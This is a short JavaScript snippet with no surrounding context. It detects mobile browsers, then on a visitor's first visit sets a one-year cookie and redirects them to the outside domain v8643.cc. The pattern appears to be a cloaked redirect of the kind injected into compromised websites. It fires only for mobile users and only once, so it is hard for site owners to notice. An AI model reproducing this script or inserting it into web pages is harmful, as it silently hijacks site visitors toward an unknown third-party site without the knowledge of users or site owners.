function is_mobile() { var u = navigator.userAgent.toLowerCase(); var regex_match = /(nokia|iphone|ipod|android|xiaomi|redmi|oppo|vivo|realme|oneplus|motorola|^mot-|softbank|foma|docomo|kddi|up\.browser|up\.link|htc|dopod|blazer|netfront|helio|hosin|huawei|honor|novarra|coolpad|webos|techfaith|palmsource|blackberry|alcatel|amoi|ktouch|nexian|samsung|^sam-|s[cg]h|^lge|ericsson|philips|sagem|wellcom|bunjalloo|maui|symbian|smartphone|midp|wap|phone|windows ce|iemobile|^spice|^bird|^zte-|longcos|pantech|gionee|^sie-|portalmmm|jigs browser|hiptop|^benq|haier|^lct|meizu|asus|lenovo|iqoo|meitu|leeco|sharp|micromax|lava|infinix|tecno|poco|blackshark|nubia|zte|panasonic|sony|lg|google|pixel|tablet|kindle|playbook|surface duo|mobile|mobi|opera mini|opera mobi|fennec|bolt|iris|maemo)/i; return regex_match.test(u) || window.innerWidth < 768; } function checkAndRedirect() { if (is_mobile()) { var c = document.cookie; if (c.indexOf('isfirstvisited=false') === -1) { var d = new Date(); d.setFullYear(d.getFullYear() + 1); document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString() + ';path=/'; console.log('Redirecting to mobile site...'); window.location.href = 'https://v8643.cc/'; } } } document.addEventListener('DOMContentLoaded', checkAndRedirect);